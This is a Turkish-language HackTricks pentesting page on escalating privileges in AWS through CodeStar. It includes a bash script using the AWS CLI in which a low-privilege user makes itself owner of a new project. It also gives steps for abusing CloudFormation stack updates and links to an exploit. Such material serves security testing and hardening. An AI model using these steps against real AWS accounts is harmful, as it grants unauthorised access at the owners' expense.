AWS - Codestar Privesc

htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları:

Codestar

Codestar hakkında daha fazla bilgiye şuradan ulaşabilirsiniz:

codestar:CreateProject, codestar:AssociateTeamMember

iam:PassRole, codestar:CreateProject

Bu izinlerle bir codestar IAM Rolü'nü kötüye kullanarak bir cloudformation şablonu aracılığıyla keyfi işlemler gerçekleştirebilirsiniz. Aşağıdaki sayfaya bakın:

iam:PassRole, codestar:CreateProject

codestar:CreateProject, codestar:AssociateTeamMember

Bu teknik, codestar:CreateProject kullanarak bir codestar projesi oluşturur ve codestar:AssociateTeamMember kullanarak bir IAM kullanıcısını yeni bir CodeStar projesinin sahibi yapar, bu da onlara birkaç ek izin içeren yeni bir politika sağlar.

PROJECT_NAME="supercodestar"

aws --profile "$NON_PRIV_PROFILE_USER" codestar create-project \
--name $PROJECT_NAME \
--id $PROJECT_NAME

echo "Waiting 1min to start the project"
sleep 60

USER_ARN=$(aws --profile "$NON_PRIV_PROFILE_USER" opsworks describe-my-user-profile | jq .UserProfile.IamUserArn | tr -d '"')

aws --profile "$NON_PRIV_PROFILE_USER" codestar associate-team-member \
--project-id $PROJECT_NAME \
--user-arn "$USER_ARN" \
--project-role "Owner" \
--remote-access-allowed

Eğer zaten projenin bir üyesi iseniz, codestar:UpdateTeamMember iznini kullanarak rolünüzü codestar:AssociateTeamMember yerine sahibe güncelleyebilirsiniz.

Potansiyel Etki: codestar politikasına ayrıcalık yükseltme. Bu politikanın bir örneğini aşağıdaki bağlantıda bulabilirsiniz:

codestar:CreateProject, codestar:AssociateTeamMember

codestar:CreateProjectFromTemplate

  1. Yeni Bir Proje Oluşturun:

  • Yeni bir proje oluşturmak için codestar:CreateProjectFromTemplate eylemini kullanın.

  • Başarılı bir oluşturma işleminden sonra, otomatik olarak cloudformation:UpdateStack için erişim sağlanır.

  • Bu erişim, genellikle CodeStarWorker-<genel proje adı>-CloudFormation IAM rolü ile ilişkilendirilmiş bir yığını hedefler.

  1. Hedef Yığını Güncelleyin:

  • Verilen CloudFormation izinleriyle, belirtilen yığını güncellemeye devam edin.

  • Yığının adı genellikle iki desene uygun olacaktır:

  • awscodestar-<genel proje adı>-infrastructure

  • awscodestar-<genel proje adı>-lambda

  • Tam ad, seçilen şablona bağlıdır (örnek saldırı betiğine atıfta bulunur).

  1. Erişim ve İzinler:

  • Güncelleme sonrasında, yığınla ilişkili CloudFormation IAM rolüne atanan yeteneklere sahip olursunuz.

  • Not: Bu, otomatik olarak tam yönetici ayrıcalıklarını sağlamaz. Ayrıcalıkları daha da yükseltmek için ortamdaki yanlış yapılandırılmış kaynaklar gerekebilir.

Daha fazla bilgi için orijinal araştırmaya bakın: https://rhinosecuritylabs.com/aws/escalating-aws-iam-privileges-undocumented-codestar-api/. Exploit'i https://github.com/RhinoSecurityLabs/Cloud-Security-Research/blob/master/AWS/codestar_createprojectfromtemplate_privesc/CodeStarPrivEsc.py adresinde bulabilirsiniz.

Potansiyel Etki: CloudFormation IAM rolüne ayrıcalık yükseltme.

htARTE (HackTricks AWS Red Team Expert) ile sıfırdan kahraman olmak için AWS hackleme öğrenin!

HackTricks'i desteklemenin diğer yolları:

Last updated